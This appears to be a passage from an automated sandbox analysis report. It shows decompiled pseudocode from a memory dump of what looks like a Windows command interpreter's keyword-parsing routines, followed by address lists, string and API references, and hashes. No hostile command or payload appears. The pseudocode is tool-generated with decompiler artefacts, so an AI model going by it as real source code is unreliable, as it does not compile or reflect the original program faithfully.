																						_push(0x8b3d00);
																						_push(1);
																						_push(0x2344);
																						L182:
																						__eax = E0087C5A2(__ecx);
																						__esp = __esp + 0x1c;
																						__edi[4] = __ebx;
																						__eax = E0087D937();
																						goto L86;
																					} else {
																						__ecx =  *__edi;
																						__eax = E0087DB92( *__edi);
																						L75:
																						__ecx = __edi[2];
																						__eflags =  *__ecx - 0x26;
																						if( *__ecx == 0x26) {
																							__eax = 0;
																							__ecx[2] = __ax;
																							__eax = __edi[2];
																							__edx =  *__edi;
																							__ecx = __eax[1] & 0x0000ffff;
																							__ecx = (__eax[1] & 0x0000ffff) - 0x30;
																							__eax = E0087DBFC((__eax[1] & 0x0000ffff) - 0x30, __edx);
																							__eflags = __eax - __esi;
																							if(__eax != __esi) {
																								goto L82;
																							} else {
																								goto L183;
																							}
																						} else {
																							__eflags = __edi[8] - 0x3c;
																							_push(__ecx);
																							if(__edi[8] == 0x3c) {
																								__edx = 0x8000;
																								__eax = E0087D120(__ecx, 0x8000);
																								_v548 = __eax;
																								__eflags = __eax - __esi;
																								if(__eax != __esi) {
																									goto L79;
																								} else {
																									__ecx = L"DPATH";
																									__eax = E00883320(L"DPATH");
																									__eflags = __eax;
																									if(__eax == 0) {
																										goto L184;
																									} else {
																										__ecx = _v24;
																										__eflags = __ecx;
																										if(__ecx == 0) {
																											__ecx =  &_v544;
																										}
																										__eax = SearchPathW(__eax, __edi[2], __ebx, _v16, __ecx, __ebx);
																										__eflags = __eax;
																										if(__eax == 0) {
																											goto L184;
																										} else {
																											__ecx = _v24;
																											__eflags = __ecx;
																											if(__ecx == 0) {
																												__ecx =  &_v544;
																											}
																											_push(__ecx);
																											__edx = 0x8000;
																											goto L78;
																										}
																									}
																								}
																							} else {
																								__edi[6] =  ~(__edi[6]);
																								asm("sbb edx, edx");
																								__edx =  ~(__edi[6]) & 0xfffffe09;
																								__edx = ( ~(__edi[6]) & 0xfffffe09) + 0x301;
																								__eflags = __edx;
																								L78:
																								__eax = E0087D120(__ecx, __edx);
																								_v548 = __eax;
																								__eflags = __eax - __esi;
																								if(__eax == __esi) {
																									L184:
																									__eax = E0087D937();
																									__ecx =  *0x8b3cf0;
																									__eax = E0089985A( *0x8b3cf0);
																									goto L86;
																								} else {
																									L79:
																									__eflags = __eax -  *__edi;
																									if(__eax !=  *__edi) {
																										__edx =  *__edi;
																										__ecx = __eax;
																										__eax = E0087DBFC(__eax,  *__edi);
																										__ecx = _v548;
																										__esi = __eax;
																										__eax = E0087DB92(_v548);
																										__eflags = __esi - 0xffffffff;
																										if(__esi == 0xffffffff) {
																											L183:
																											__eax = E0087D937();
																											__esi = 0x8b3d00;
																											E0088274C(0x8b3d00, 0x104, L"%d",  *__edi) = E0087C5A2(__ecx, 0x2344, 1, 0x8b3d00);
																											goto L86;
																										} else {
																											__eax =  *__edi;
																											__esi = __esi | 0xffffffff;
																											goto L80;
																										}
																									} else {
																										L80:
																										__eflags = __eax - __esi;
																										if(__eax == __esi) {
																											goto L184;
																										} else {
																											__ecx = _v552;
																											_v552[2] = __eax;
																											goto L82;
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																	goto L83;
																	L82:
																	__eax = __edi[0xa];
																	__edi = __eax;
																	__eflags = __eax;
																} while (__eax != 0);
															}
														}
													}
													L83:
													__imp__??_V@YAXPAX@Z(_v24);
													_pop(__ecx);
													__ecx = _v4;
													__eax = __ebx;
													_pop(__edi);
													_pop(__esi);
													__ecx = _v4 ^ __ebp;
													__eflags = __ecx;
													_pop(__ebx);
													__eax = E00886FD0(__ebx, __ebx, __ecx, __edx, __edi, __esi);
													__esp = __ebp;
													_pop(__ebp);
													return __eax;
													goto L218;
												}
											} else {
												__edx =  *0x8afa8c;
												__ecx = __eax;
												__esi[0x22] = __eax;
												__eax = E00881040(__eax,  *0x8afa8c, 0x8afaa0);
												__ecx = 0x2c;
												__eax = E0087DC74(__ebx, __ecx);
												__esi[0x24] = __eax;
												__eflags = __eax;
												if(__eax == 0) {
													__eax = E008982EB(__ecx);
												}
												goto L47;
											}
										} else {
											__edx = 0;
											__ecx = 0;
											__eflags = 0;
											__eax = E0087F300(__eax, 0, 0, 0);
											goto L47;
										}
									}
								}
							} else {
								__imp___wcsicmp(L"IF/?", 0x8afaa0);
								__esp = __esp + 8;
								__eflags = __eax;
								if(__eax == 0) {
									goto L148;
								} else {
									__imp___wcsicmp(L"REM", 0x8afaa0);
									__esp = __esp + 8;
									__eflags = __eax;
									if(__eax == 0) {
										L138:
										_pop(__esi);
										__edi = 0;
										__imp___wcsicmp(L"REM/?", __edi, __esi, __ecx);
										_pop(__ecx);
										__ecx = 0x8afaa0;
										__eflags = __eax;
										if(__eflags == 0) {
											__eax = 0;
											__edi = 0;
											 *0x8afaa6 = __ax;
											__edi = 1;
										}
										__ecx = 0x2d;
										__esi = E0087E9A0(__ecx, __eflags);
										__eflags = __edi;
										if(__edi != 0) {
											__eax = 0x2f;
											 *0x8afaa0 = __ax;
											__eax = 0x3f;
											 *0x8afaa2 = __ax;
											__eax = 0;
											 *0x8afaa4 = __ax;
										} else {
											__ecx = 0;
											__eflags = 0;
											__eax = E0087F030(0);
										}
										__edx = 0x2d;
										__eax = E0087DCE1(__ebx, __edx, __edi);
										__eflags = __al;
										if(__al != 0) {
											__esi[0x1c] = __esi[0x1c] & 0x00000000;
											 *__esi = 0x3c;
											goto L95;
										} else {
											__edx = 0;
											__ecx = 0;
											__eax = E0087F300(__eax, 0, 0, 0);
											__eax = E0087EEC8();
											__eflags = __eax;
											if(__eax == 0) {
												L95:
												_pop(__edi);
												__eax = __esi;
												_pop(__esi);
												_pop(__ecx);
												return __esi;
											} else {
												__ecx = 0x20;
												__eax = E0087F030(__ecx);
												__eflags = __eax - 0x4000;
												if(__eax != 0x4000) {
													__edx = 0;
													__ecx = 0;
													__eax = E0087F300(__eax, 0, 0, 0);
													goto L95;
												} else {
													__eax =  *0x8afa8c;
													__ecx =  *0x8afa8c +  *0x8afa8c;
													__eax = E008800B0(__ecx);
													__eflags = __eax;
													if(__eax == 0) {
														__eax = E00899287(__ecx);
														__imp__longjmp(0x8ab8b8, 1);
														asm("int3");
														__eflags = __esi;
														if(__esi != 0) {
															__eax = 0;
															 *__ebx = __ax;
														}
														_pop(__edi);
														_pop(__esi);
														__eax = __ebx;
														_pop(__ebx);
														return __ebx;
													} else {
														__edx =  *0x8afa8c;
														__ecx = __eax;
														__esi[0x1e] = __eax;
														__eax = E00881040(__eax,  *0x8afa8c, 0x8afaa0);
														goto L95;
													}
												}
											}
										}
									} else {
										__imp___wcsicmp(L"REM/?", 0x8afaa0);
										__esp = __esp + 8;
										__eflags = __eax;
										if(__eax == 0) {
											goto L138;
										} else {
											_pop(__esi);
											_push(__ebp);
											__ebp = __esp;
											__esp = __esp - 0x14;
											_push(__ebx);
											_push(__esi);
											__eax =  &_v16;
											_v16 = 0;
											_push(__edi);
											__ecx = 0;
											__eflags = 0;
											_v12 =  &_v16;
											__ebx = E0087E9A0(0, 0);
											_v20 = __ebx;
											while(1) {
												__eax = E0087EEC8();
												__eflags = __eax;
												if(__eax == 0) {
													break;
												}
												__ecx = 1;
												__eax = E0087F030(1);
												__eflags = __eax - 0x4000;
												if(__eax == 0x4000) {
													__ecx = __ebx[0x1e];
													__edi =  *0x8afa8c;
													__eflags = __ecx;
													if(__ecx != 0) {
														__edx =  &(__ecx[1]);
														do {
															__ax =  *__ecx;
															__ecx =  &(__ecx[1]);
															__eflags = __ax;
														} while (__ax != 0);
														__ecx = __ecx - __edx;
														__edi = __edi + __ecx;
													}
													__ecx = __edi + __edi;
													__esi = E008800B0(__ecx);
													_v8 = __esi;
													__eflags = __esi;
													if(__esi == 0) {
														__eax = E00899287(__ecx);
														__imp__longjmp(0x8ab8b8, 1);
														asm("int3");
														__eflags =  *0x8afa90;
														if( *0x8afa90 != 0) {
															__eax = E008982EB(__ecx);
														}
														__eax = 0;
														__eflags = 0;
														__eflags =  *0x8afa88;
														 *0x89d5c8 = 0;
														if( *0x8afa88 != 0) {
															__edx = 0;
															__ecx = __esi;
															__eax = E00898121(__esi, 0);
														}
														__eax = __esi;
														_pop(__edi);
														_pop(__esi);
														_pop(__ebx);
														_pop(__ebp);
														return __eax;
													} else {
														__ecx = __ebx[0x1e];
														__eflags = __ecx;
														if(__ecx != 0) {
															__edx = __edi;
															__ecx = __esi;
															__eax = E00881040(__esi, __edi, __esi);
														}
														__eax = 0;
														__eflags = __edi;
														if(__edi == 0) {
															L195:
															__eax = 0x80070057;
														} else {
															__eflags = __edi - 0x7fffffff;
															if(__edi > 0x7fffffff) {
																goto L195;
															}
														}
														__eflags = __eax;
														if(__eax < 0) {
															L198:
															__edx = 0;
														} else {
															__eax = 0;
															__ecx = __edi;
															__edx = __esi;
															__eflags = __edi;
															if(__edi == 0) {
																L197:
																__eax = 0x80070057;
																goto L198;
															} else {
																while(1) {
																	__eflags =  *__edx - __ax;
																	if( *__edx == __ax) {
																		break;
																	}
																	__edx =  &(__edx[1]);
																	__ecx = __ecx - 1;
																	__eflags = __ecx;
																	if(__ecx != 0) {
																		continue;
																	} else {
																		goto L197;
																	}
																	goto L114;
																}
																__eflags = __ecx;
																if(__ecx == 0) {
																	goto L197;
																} else {
																	__edx = __edi;
																	__edx = __edi - __ecx;
																	__eflags = __edx;
																}
															}
														}
														L114:
														__eflags = __eax;
														if(__eax >= 0) {
															__eax = _v8;
															__esi = __edi;
															__eax =  &(_v8[__edx]);
															__esi = __edi - __edx;
															__eflags = __esi;
															if(__esi == 0) {
																L120:
																__eax = __eax - 2;
															} else {
																__ecx = __esi;
																__edx =  &(__edx[0x3fffffff]);
																__ecx = __esi - __edi;
																__edi = 0x8afaa0;
																__edx = __edx + __ecx;
																__edi = 0x8afaa0 - __eax;
																__eflags = 0x8afaa0;
																while(1) {
																	__eflags = __edx;
																	if(__edx == 0) {
																		break;
																	}
																	__ecx =  *(__edi + __eax) & 0x0000ffff;
																	__eflags = __cx;
																	if(__cx == 0) {
																		break;
																	} else {
																		 *__eax = __cx;
																		__edx = __edx - 1;
																		__eax =  &(__eax[1]);
																		__esi = __esi - 1;
																		__eflags = __esi;
																		if(__esi != 0) {
																			continue;
																		} else {
																			goto L120;
																		}
																	}
																	goto L122;
																}
																__eflags = __esi;
																if(__esi == 0) {
																	goto L120;
																}
															}
															L122:
															__esi = _v8;
															__ecx = 0;
															__eflags = 0;
															 *__eax = __cx;
														}
														__ebx[0x1e] = __esi;
														continue;
													}
												} else {
													__esi = _v12;
													__ecx = __esi;
													__eax = E008802B0(__ebx, __esi, __edi, __esi);
													__eflags = __eax;
													if(__eax != 0) {
														__eax =  *__esi;
														do {
															_t77 =  &(__eax[0xa]); // 0x14
															__ebx = _t77;
															__eax =  *__ebx;
															_v12 = __ebx;
															__eflags = __eax;
														} while (__eax != 0);
														__ebx = _v20;
														continue;
													} else {
														__edx = 0;
														__ecx = 0;
														__eflags = 0;
														__eax = E0087F300(__eax, 0, 0, __eax);
														break;
													}
												}
												goto L218;
											}
											__eax = _v16;
											_pop(__edi);
											__ebx[0x1a] = _v16;
											__eax = __ebx;
											_pop(__esi);
											_pop(__ebx);
											__esp = __ebp;
											_pop(__ebp);
											return __ebx;
										}
									}
								}
							}
						}
					}
				}
				L218:
			}

0x008804a0
0x008804a0
0x008804ab
0x00880557
0x0088055d
0x00880561
0x008805da
0x008805de
0x00000000
0x00000000
0x00000000
0x00000000
0x00880563
0x00880563
0x00880563
0x0088056d
0x0088056f
0x00880571
0x0088852b
0x00888537
0x0088853d
0x0088853e
0x00888541
0x00888543
0x00888546
0x00888548
0x00888548
0x0088854a
0x0088854a
0x0088854c
0x0088854e
0x0088854e
0x00888553
0x00888553
0x00888556
0x0088855a
0x00888560
0x00888560
0x0087480e
0x00880577
0x00880577
0x0088057f
0x008805e9
0x008805ef
0x00880581
0x00880581
0x00880590
0x00880595
0x0088059a
0x0088059a
0x008805a8
0x008805aa
0x008805af
0x008805af
0x008805b9
0x008805bc
0x008805bf
0x008805d0
0x008805d3
0x008805c1
0x008805c6
0x008805cb
0x008805ce
0x008805e0
0x008805e0
0x008805e5
0x008805e8
0x00000000
0x00000000
0x00000000
0x008805ce
0x008805bf
0x00880571
0x008804b1
0x008804bb
0x008804c1
0x008804c4
0x008804c6
0x008805f3
0x008805f3
0x00879a34
0x00879a36
0x00879a3c
0x00879a3d
0x00879a3e
0x00879a40
0x00891093
0x00891095
0x00891097
0x0089109d
0x0089109d
0x00879a48
0x00879a49
0x00879a58
0x00879a5c
0x00879a5d
0x00879a5f
0x008910a3
0x008910ab
0x008910ac
0x008910b2
0x008910b4
0x00879a65
0x00879a65
0x00879a65
0x00879a67
0x00879a67
0x00879a6e
0x00879a6f
0x00879a74
0x00879a76
0x008910bf
0x008910c3
0x00879a7c
0x00879a7c
0x00879a80
0x00879a89
0x00879a8a
0x00879a8c
0x00879a8e
0x00879a8e
0x00879a8f
0x00879a99
0x00879a9f
0x00879aa0
0x00879aa1
0x00879aa3
0x00000000
0x00000000
0x00879aa9
0x00879ab3
0x00879ab9
0x00879aba
0x00879abb
0x00879abd
0x00879c3b
0x00879c19
0x00879c19
0x00879c1b
0x00879a8f
0x00879a99
0x00879a9f
0x00879aa0
0x00879aa1
0x00879aa3
0x00000000
0x00000000
0x00000000
0x00879aa3
0x00000000
0x00879a8f
0x00879acd
0x00879ad3
0x00879ad4
0x00879ad5
0x00879ad7
0x00879bb9
0x00879bbd
0x00879bbf
0x00879bc4
0x00879bcc
0x00879bcd
0x00879bd0
0x00000000
0x00879bd6
0x00879bd8
0x00879bd9
0x00879bdc
0x00000000
0x00879be2
0x00879be2
0x00879be6
0x00879c46
0x00879c46
0x00879be8
0x00879bed
0x00879bf4
0x00879bf9
0x00879bfb
0x00000000
0x00879c01
0x00879c01
0x00879c07
0x00000000
0x00879c07
0x00879bfb
0x00879bdc
0x00000000
0x00879add
0x00879ae7
0x00879aed
0x00879aee
0x00879aef
0x00879af2
0x00879af4
0x008910d1
0x008910d4
0x008910d6
0x008910db
0x008910df
0x008910e1
0x008910e1
0x008910e6
0x008910ee
0x008910ef
0x008910f2
0x00000000
0x008910f8
0x008910fa
0x008910fb
0x008910fe
0x00000000
0x00891104
0x00891104
0x00891109
0x00891110
0x00891115
0x00891117
0x00891127
0x00891127
0x00891132
0x00000000
0x00891119
0x00891119
0x0089111f
0x00879c0a
0x00879c0f
0x00879c11
0x00879c14
0x00000000
0x00879c14
0x00891117
0x008910fe
0x00000000
0x00879afa
0x00879afa
0x00879afc
0x00879afe
0x00879b01
0x00879c25
0x00879c28
0x00879c2e
0x00879c30
0x00891138
0x00891138
0x0089113b
0x00891141
0x00891144
0x0089114a
0x0089114a
0x00891144
0x0089113b
0x00879c30
0x00879c28
0x00879b01
0x00879afc
0x00879af4
0x00879b09
0x00000000
0x00879c41
0x00879c41
0x00000000
0x00879c41
0x00879a8f
0x00879b0a
0x00879b0a
0x00879b11
0x00891154
0x00891154
0x00879b17
0x00879b17
0x00879b1f
0x00879b25
0x00879b26
0x00879b28
0x00000000
0x00879b2e
0x00879b2e
0x00879b35
0x00879b3a
0x00879b3d
0x00879b42
0x00879b44
0x00000000
0x00879b4a
0x00879b4a
0x00879b51
0x00000000
0x00000000
0x00879b51
0x00879b44
0x00879b28
0x00879b57
0x00879b5a
0x00879b5f
0x00879b60
0x00879b63
0x00879b64
0x00879b69
0x00879b6e
0x00879b73
0x00879b76
0x00879b77
0x00879b7a
0x00879b7b
0x00879b80
0x00879b85
0x00879b8a
0x00879b8d
0x00879b92
0x00879b95
0x00879b98
0x00879b9b
0x00879b9c
0x00879ba3
0x00879ba4
0x00879ba9
0x00879bac
0x00879bae
0x0089115e
0x0089115e
0x00879bae
0x00879bb4
0x00879bb5
0x00879bb7
0x00879bb8
0x008804cc
0x008804d6
0x008804dc
0x008804df
0x008804e1
0x00000000
0x008804e7
0x008804f1
0x008804f7
0x008804fa
0x008804fc
0x008805d4
0x008805d4
0x0087d812
0x0087d814
0x0087d81a
0x0087d81b
0x0087d81c
0x0087d81e
0x0088b9cb
0x0088b9cd
0x0088b9cf
0x0088b9d5
0x0088b9d5
0x0087d826
0x0087d82c
0x0087d82e
0x0087d830
0x0088b9dd
0x0088b9de
0x0088b9e6
0x0088b9e7
0x0088b9ed
0x0088b9ef
0x0087d836
0x0087d836
0x0087d836
0x0087d838
0x0087d838
0x0087d83f
0x0087d840
0x0087d845
0x0087d847
0x0088b9fa
0x0088b9fe
0x00000000
0x0087d84d
0x0087d84d
0x0087d84f
0x0087d855
0x0087d871
0x0087d873
0x0087d875
0x0087d875
0x0087d877
0x0087d857
0x0087d861
0x0087d867
0x0087d868
0x0087d869
0x0087d86b
0x0087d919
0x0087d91b
0x00000000
0x00000000
0x00000000
0x0087d86b
0x0087d87c
0x0087d87e
0x0087d883
0x0087d886
0x0087d888
0x0087d88a
0x0087d88c
0x0087d921
0x0087d924
0x0087d932
0x0087d932
0x0087d926
0x0087d926
0x0087d88c
0x0087d894
0x0087d895
0x0087d89a
0x0087d89d
0x0087d89f
0x0088ba09
0x0088ba09
0x0087d8a5
0x0087d8aa
0x0087d8ac
0x0087d8d7
0x0087d8d7
0x0087d8d8
0x0087d8da
0x0087d8db
0x0087d8dc
0x0087d8ae
0x0087d8ae
0x0087d8b0
0x0087d8b5
0x0087d8c0
0x0087d8c6
0x0087d8c7
0x0087d8c8
0x0087d8ca
0x0087d8dd
0x0087d8e2
0x0087d8e5
0x0087d8ea
0x0087d8ec
0x0088ba13
0x0088ba1f
0x0088ba25
0x0088ba26
0x0088ba26
0x0088ba26
0x0088ba28
0x0087da46
0x0087da46
0x0087da49
0x0087da4b
0x0087da4d
0x00000000
0x00000000
0x0087d9f1
0x0087d9f4
0x0087d9f6
0x0087d9f9
0x0087d9f9
0x0087d9fc
0x0087d9ff
0x0087d9ff
0x0087da04
0x0087da06
0x0087da08
0x0087da0d
0x0087da10
0x0087da14
0x0087da19
0x0087da1c
0x0087da1e
0x0087da21
0x0087da23
0x0087da26
0x0087da26
0x0087da29
0x0087da2c
0x0087da2c
0x0087da31
0x0087da33
0x0087da35
0x0087da36
0x0087da39
0x0087da3b
0x0087da40
0x00000000
0x00000000
0x0087da40
0x0087da39
0x0087da1c
0x0087da4f
0x0087da55
0x0087da5b
0x0087da5e
0x0088ba31
0x0088ba36
0x00000000
0x0087da64
0x0087da66
0x0087da67
0x0087da6c
0x0087da72
0x0087da74
0x0087db8d
0x0087db8d
0x0087db8f
0x0087da7a
0x0087da7a
0x0087da80
0x0087da83
0x0087da88
0x0087da8b
0x0087da8d
0x0087da8d
0x0087da90
0x0087da92
0x0087da98
0x0087da98
0x0087da9b
0x0087da9b
0x0087da9e
0x00000000
0x0087daa4
0x0087daa6
0x0087daac
0x0087daad
0x0087daaf
0x0088ba90
0x0088ba90
0x00000000
0x0087dab5
0x0087dab7
0x0087dabd
0x0087dabe
0x0087dac1
0x00000000
0x0087dac7
0x0087dac7
0x0087dac9
0x0087dace
0x0087dad0
0x0088ba41
0x0088ba43
0x0088ba48
0x0088ba4a
0x00000000
0x0088ba50
0x0088ba56
0x0088ba5c
0x0088ba5e
0x0088ba64
0x0088ba66
0x00000000
0x0088ba6c
0x0088ba6e
0x0088ba7e
0x0088ba83
0x0088ba84
0x0088ba86
0x00000000
0x0088ba86
0x0088ba66
0x0087dad6
0x0087dad6
0x0087dad6
0x0087dad8
0x0087dadd
0x0087dae0
0x0087dae2
0x0088bb26
0x0088bb36
0x0088bb3b
0x0088bb3c
0x0088bb3e
0x0088bb43
0x0088bb43
0x0088bb48
0x0088bb4b
0x0088bb4e
0x00000000
0x0087dae8
0x0087dae8
0x0087daea
0x0087daef
0x0087daef
0x0087daf2
0x0087daf6
0x0087db6d
0x0087db6f
0x0087db73
0x0087db76
0x0087db78
0x0087db7c
0x0087db7f
0x0087db84
0x0087db86
0x00000000
0x0087db88
0x00000000
0x0087db88
0x0087daf8
0x0087daf8
0x0087dafd
0x0087dafe
0x0088ba98
0x0088ba9d
0x0088baa2
0x0088baa8
0x0088baaa
0x00000000
0x0088bab0
0x0088bab0
0x0088bab5
0x0088baba
0x0088babc
0x00000000
0x0088bac2
0x0088bac2
0x0088bac5
0x0088bac7
0x0088bac9
0x0088bac9
0x0088bad9
0x0088badf
0x0088bae1
0x00000000
0x0088bae7
0x0088bae7
0x0088baea
0x0088baec
0x0088baee
0x0088baee
0x0088baf4
0x0088baf5
0x00000000
0x0088baf5
0x0088bae1
0x0088babc
0x0087db04
0x0087db07
0x0087db09
0x0087db0b
0x0087db11
0x0087db11
0x0087db17
0x0087db17
0x0087db1c
0x0087db22
0x0087db24
0x0088bb89
0x0088bb89
0x0088bb8e
0x0088bb94
0x00000000
0x0087db2a
0x0087db2a
0x0087db2a
0x0087db2c
0x0088baff
0x0088bb01
0x0088bb03
0x0088bb08
0x0088bb0e
0x0088bb10
0x0088bb15
0x0088bb18
0x0088bb58
0x0088bb58
0x0088bb5f
0x0088bb7c
0x00000000
0x0088bb1a
0x0088bb1a
0x0088bb1c
0x00000000
0x0088bb1c
0x0087db32
0x0087db32
0x0087db32
0x0087db34
0x00000000
0x0087db3a
0x0087db3a
0x0087db40
0x00000000
0x0087db40
0x0087db34
0x0087db2c
0x0087db24
0x0087dafe
0x0087daf6
0x0087dae2
0x0087dad0
0x0087dac1
0x0087daaf
0x00000000
0x0087db43
0x0087db43
0x0087db46
0x0087db48
0x0087db48
0x0087da9b
0x0087da92
0x0087da74
0x0087db50
0x0087db53
0x0087db59
0x0087db5a
0x0087db5d
0x0087db5f
0x0087db60
0x0087db61
0x0087db61
0x0087db63
0x0087db64
0x0087db69
0x0087db6b
0x0087db6c
0x00000000
0x0087db6c
0x0087d8f2
0x0087d8f2
0x0087d8f8
0x0087d8fb
0x0087d8fe
0x0087d905
0x0087d906
0x0087d90b
0x0087d90e
0x0087d910
0x0087d912
0x0087d912
0x00000000
0x0087d910
0x0087d8cc
0x0087d8ce
0x0087d8d0
0x0087d8d0
0x0087d8d2
0x00000000
0x0087d8d2
0x0087d8ca
0x0087d8ac
0x00880502
0x0088050c
0x00880512
0x00880515
0x00880517
0x00000000
0x0088051d
0x00880527
0x0088052d
0x00880530
0x00880532
0x00880551
0x00880551
0x0087de5e
0x0087de60
0x0087de66
0x0087de67
0x0087de68
0x0087de6a
0x0088bca8
0x0088bcaa
0x0088bcac
0x0088bcb2
0x0088bcb2
0x0087de72
0x0087de78
0x0087de7a
0x0087de7c
0x0088bcba
0x0088bcbb
0x0088bcc3
0x0088bcc4
0x0088bcca
0x0088bccc
0x0087de82
0x0087de82
0x0087de82
0x0087de84
0x0087de84
0x0087de8b
0x0087de8c
0x0087de91
0x0087de93
0x0088bcd7
0x0088bcdb
0x00000000
0x0087de99
0x0087de9b
0x0087de9d
0x0087de9f
0x0087dea4
0x0087dea9
0x0087deab
0x0087dee6
0x0087dee6
0x0087dee7
0x0087dee9
0x0087deea
0x0087deeb
0x0087dead
0x0087deaf
0x0087deb0
0x0087deb5
0x0087deba
0x0087deee
0x0087def0
0x0087def2
0x00000000
0x0087debc
0x0087debc
0x0087dec1
0x0087dec4
0x0087dec9
0x0087decb
0x0088bce6
0x0088bcf2
0x0088bcf8
0x0088bcf9
0x0088bcfb
0x0088bd01
0x0088bd03
0x0088bd03
0x0087dfb0
0x0087dfb1
0x0087dfb2
0x0087dfb4
0x0087dfb5
0x0087ded1
0x0087ded1
0x0087ded7
0x0087dede
0x0087dee1
0x00000000
0x0087dee1
0x0087decb
0x0087deba
0x0087deab
0x00880534
0x0088053e
0x00880544
0x00880547
0x00880549
0x00000000
0x0088054b
0x0088054b
0x0087ed82
0x0087ed83
0x0087ed85
0x0087ed88
0x0087ed89
0x0087ed8a
0x0087ed8d
0x0087ed94
0x0087ed95
0x0087ed95
0x0087ed97
0x0087ed9f
0x0087eda1
0x0087eda4
0x0087eda4
0x0087eda9
0x0087edab
0x00000000
0x00000000
0x0087edad
0x0087edb2
0x0087edb7
0x0087edbc
0x0087ede9
0x0087edec
0x0087edf2
0x0087edf4
0x0088c0ad
0x0088c0b0
0x0088c0b0
0x0088c0b3
0x0088c0b6
0x0088c0b6
0x0088c0bb
0x0088c0bf
0x0088c0bf
0x0087edfa
0x0087ee02
0x0087ee04
0x0087ee07
0x0087ee09
0x0088c0f7
0x0088c103
0x0088c109
0x0088c10a
0x0088c111
0x0088c117
0x0088c117
0x0087efe1
0x0087efe1
0x0087efe3
0x0087efea
0x0087efef
0x0088c121
0x0088c123
0x0088c125
0x0088c125
0x0087eff5
0x0087eff7
0x0087eff8
0x0087eff9
0x0087effa
0x0087effb
0x0087ee0f
0x0087ee0f
0x0087ee12
0x0087ee14
0x0088c0c7
0x0088c0c9
0x0088c0cb
0x0088c0cb
0x0087ee1a
0x0087ee1c
0x0087ee1e
0x0088c0d5
0x0088c0d5
0x0087ee24
0x0087ee24
0x0087ee2a
0x00000000
0x00000000
0x0087ee2a
0x0087ee30
0x0087ee32
0x0088c0f0
0x0088c0f0
0x0087ee38
0x0087ee38
0x0087ee3a
0x0087ee3c
0x0087ee3e
0x0087ee40
0x0088c0eb
0x0088c0eb
0x00000000
0x0087ee46
0x0087ee46
0x0087ee46
0x0087ee49
0x00000000
0x00000000
0x0088c0df
0x0088c0e2
0x0088c0e2
0x0088c0e5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0088c0e5
0x0087ee4f
0x0087ee51
0x00000000
0x0087ee57
0x0087ee57
0x0087ee59
0x0087ee59
0x0087ee59
0x0087ee51
0x0087ee40
0x0087ee5b
0x0087ee5b
0x0087ee5d
0x0087ee5f
0x0087ee62
0x0087ee64
0x0087ee67
0x0087ee67
0x0087ee69
0x0087ee99
0x0087ee99
0x0087ee6b
0x0087ee6b
0x0087ee6d
0x0087ee73
0x0087ee75
0x0087ee7a
0x0087ee7c
0x0087ee7c
0x0087ee80
0x0087ee80
0x0087ee82
0x00000000
0x00000000
0x0087ee84
0x0087ee88
0x0087ee8b
0x00000000
0x0087ee8d
0x0087ee8d
0x0087ee90
0x0087ee91
0x0087ee94
0x0087ee94
0x0087ee97
0x00000000
0x00000000
0x00000000
0x00000000
0x0087ee97
0x00000000
0x0087ee8b
0x0087ee9e
0x0087eea0
0x00000000
0x00000000
0x0087eea0
0x0087eea2
0x0087eea2
0x0087eea5
0x0087eea5
0x0087eea7
0x0087eea7
0x0087eeaa
0x00000000
0x0087eeaa
0x0087edbe
0x0087edbe
0x0087edc1
0x0087edc3
0x0087edc8
0x0087edca
0x0087eeb2
0x0087eeb4
0x0087eeb4
0x0087eeb4
0x0087eeb7
0x0087eeb9
0x0087eebc
0x0087eebc
0x0087eec0
0x00000000
0x0087edd0
0x0087edd1
0x0087edd3
0x0087edd3
0x0087edd5
0x00000000
0x0087edd5
0x0087edca
0x00000000
0x0087edbc
0x0087edda
0x0087eddd
0x0087edde
0x0087ede1
0x0087ede3
0x0087ede4
0x0087ede5
0x0087ede7
0x0087ede8
0x0087ede8
0x00880549
0x00880532
0x00880517
0x008804fc
0x008804e1
0x008804c6
0x00000000

APIs

_wcsicmp.MSVCRT ref: 008804BB
_wcsicmp.MSVCRT ref: 008804D6
_wcsicmp.MSVCRT ref: 008804F1
_wcsicmp.MSVCRT ref: 0088050C
_wcsicmp.MSVCRT ref: 00880527
_wcsicmp.MSVCRT ref: 0088053E

Strings

IF/?, xrefs: 00880507
REM, xrefs: 00880522
FOR, xrefs: 008804B6
FOR/?, xrefs: 008804D1
REM/?, xrefs: 00880539

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsicmp
String ID: FOR$FOR/?$IF/?$REM$REM/?
API String ID: 2081463915-3874590324
Opcode ID: 43f5af47f3bf92b7100abcc6b9e751b015f3b5535260b23d165f466478de64a3
Instruction ID: b709be8032ae593f0c6647ff5edcea2b5dbd923e42685f6e59307d2c1470c142
Opcode Fuzzy Hash: 43f5af47f3bf92b7100abcc6b9e751b015f3b5535260b23d165f466478de64a3
Instruction Fuzzy Hash: F83128307402118AEBA077A8AC067A53390FB00749F48C035E69EE47D6DFA8E949CF76

Uniqueness

Uniqueness Score: -1.00%

Function 0089474C, Relevance: 18.2, APIs: 12, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0089474C(void* __ebx, void* __ecx, char* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _v8;
				char _v2060;
				char _v2061;
				char _v2062;
				signed int _v2068;
				long _v2072;
				long _v2076;
				void* _v2080;
				intOrPtr _v2088;
				signed int _t36;
				long* _t38;
				void* _t40;
				signed int _t43;
				long _t44;
				wchar_t* _t45;
				void* _t48;
				void* _t49;
				void* _t53;
				void* _t58;
				signed int _t60;
				void* _t61;
				intOrPtr _t63;
				wchar_t* _t70;
				long _t71;
				wchar_t* _t72;
				wchar_t* _t74;
				void* _t77;
				void* _t78;
				intOrPtr _t89;
				void* _t102;
				long _t103;
				wchar_t* _t104;
				void* _t106;
				wchar_t* _t107;
				signed int _t108;

				_t99 = __edx;
				_t36 =  *0x89d0b4; // 0x987dc5f4
				_v8 = _t36 ^ _t108;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v2061 = 0;
				_v2062 = 0;
				_t38 = E0087DF40(__ecx);
				if(_t38 == 0) {
					L3:
					_t40 = 1;
					goto L4;
				} else {
					_t82 = _t38;
					_t107 = E00882430(_t38);
					_t43 =  *_t107 & 0x0000ffff;
